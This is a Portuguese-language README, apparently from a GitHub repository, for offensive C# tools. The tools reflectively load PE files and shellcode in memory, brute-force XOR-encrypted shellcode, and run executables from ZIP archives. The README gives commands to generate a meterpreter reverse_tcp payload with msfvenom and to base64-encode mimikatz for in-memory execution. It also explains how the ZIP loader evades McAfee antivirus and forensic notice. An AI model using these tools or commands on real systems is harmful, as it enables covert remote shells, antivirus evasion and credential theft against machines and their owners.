
Scripts ofensivos em C# para injeção reflexiva de PE e shellcode, execução de payload em memória, descriptografia de shellcode por força bruta XOR e análise de assemblies .NET.
Autor: Arno0x0x - @Arno0x0x
Este repositório tem como objetivo publicar alguns dos meus scripts em C#. Alguns são apenas forks/inspirados em outros scripts que encontrei por aí, e que adaptei para atender às minhas necessidades ou apenas para aprender e melhorar.
bfDecryptShellcode.cs
Este script é um PoC um pouco ingênuo e provavelmente não muito útil de descriptografia por força bruta de um shellcode criptografado com XOR multibyte. Uma vez descriptografado o shellcode, ele é carregado na memória e executado.
Para usá-lo, você precisa de duas coisas:
Você pode obter ambos usando meu projeto ShellcodeWrapper e alimentá-lo com qualquer payload raw do metasploit.
parseAssembly.cs
Esta aplicação de console carregará dinamicamente um assembly .Net (exe ou dll), seja de um arquivo local ou baixado de uma URL, opcionalmente codificado em base64. Uma vez carregado, ele enumerará seus tipos, métodos e propriedades.
Exemplos:
parseAssembly.exe myAssembly.dll
ou
parseAssembly.exe http://some.site.com/myAssembly base64
Esta é uma coleção de scripts adaptados do trabalho de Casey Smith (@subTee) sobre injeção reflexiva de PE ou shellcode no processo chamador, a partir de várias fontes.
peloader.cs
Este script carrega um arquivo PE x64 codificado em base64 (por exemplo: Mimikatz ou um Meterpreter) na memória do processo e o executa reflexivamente. O PE é passado como uma variável de string base64 no início do arquivo (sim, está hardcoded).
Você pode gerar essa string codificada em base64 a partir de qualquer arquivo usando o seguinte comando de linha *nix:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
Compilar o script em uma máquina Windows requer o .Net framework (instalado por padrão a partir do Windows 7):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
Este script executa um shellcode na memória do processo e o executa de forma reflexiva. O shellcode é passado como um array de bytes em uma variável. Você pode obter o código adequado para esse array gerado automaticamente para você com o utilitário msfvenom do Metasploit. Por exemplo, para gerar um shellcode reverse_tcp do meterpreter:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
Compilar o script em uma máquina Windows requer o .Net framework (instalado por padrão a partir do Windows 7):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
Este script é fortemente e vergonhosamente baseado, inspirado e derivado do trabalho de Casey Smith (@subTee) sobre o Netkatz.
Descobri que o antivírus local (McAfee) na minha estação de trabalho corporativa está configurado para NÃO analisar o conteúdo de um arquivo ZIP, provavelmente partindo do pressuposto de que, sempre que esse conteúdo for lido ou executado, ele normalmente seria primeiro extraído em algum lugar do disco, e qualquer coisa maliciosa nele seria detetada pelo antivírus nesse momento.
O que este script faz é carregar tudo na memória e trabalhar apenas a partir daí, usando também reflexão para executar um PE a partir da memória do processo que o invoca.
Assim, não só o antivírus não reage de todo, como, de uma perspetiva forense, o único "processo visivelmente em execução" parece perfeitamente inocente.
Compilar o script numa máquina Windows requer o framework .Net (instalado por predefinição no Windows 7 em diante):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
Você pode então executar:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
Este script é fortemente baseado e inspirado no trabalho de Casey Smith (@subTee) sobre o Netkatz.
O Netkatz é uma prova de conceito fantástica de carregar a versão mais recente do mimikatz a partir do GitHub e executá-la diretamente em memória. No entanto, deparei-me com três problemas no meu ambiente:
Por isso, modifiquei o script netkatz original para resolver estes 3 problemas:
O URL a partir do qual o PE oculto é descarregado está codificado no script.
Compilar o script numa máquina Windows requer o .Net framework (instalado por predefinição no Windows 7 e posteriores):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs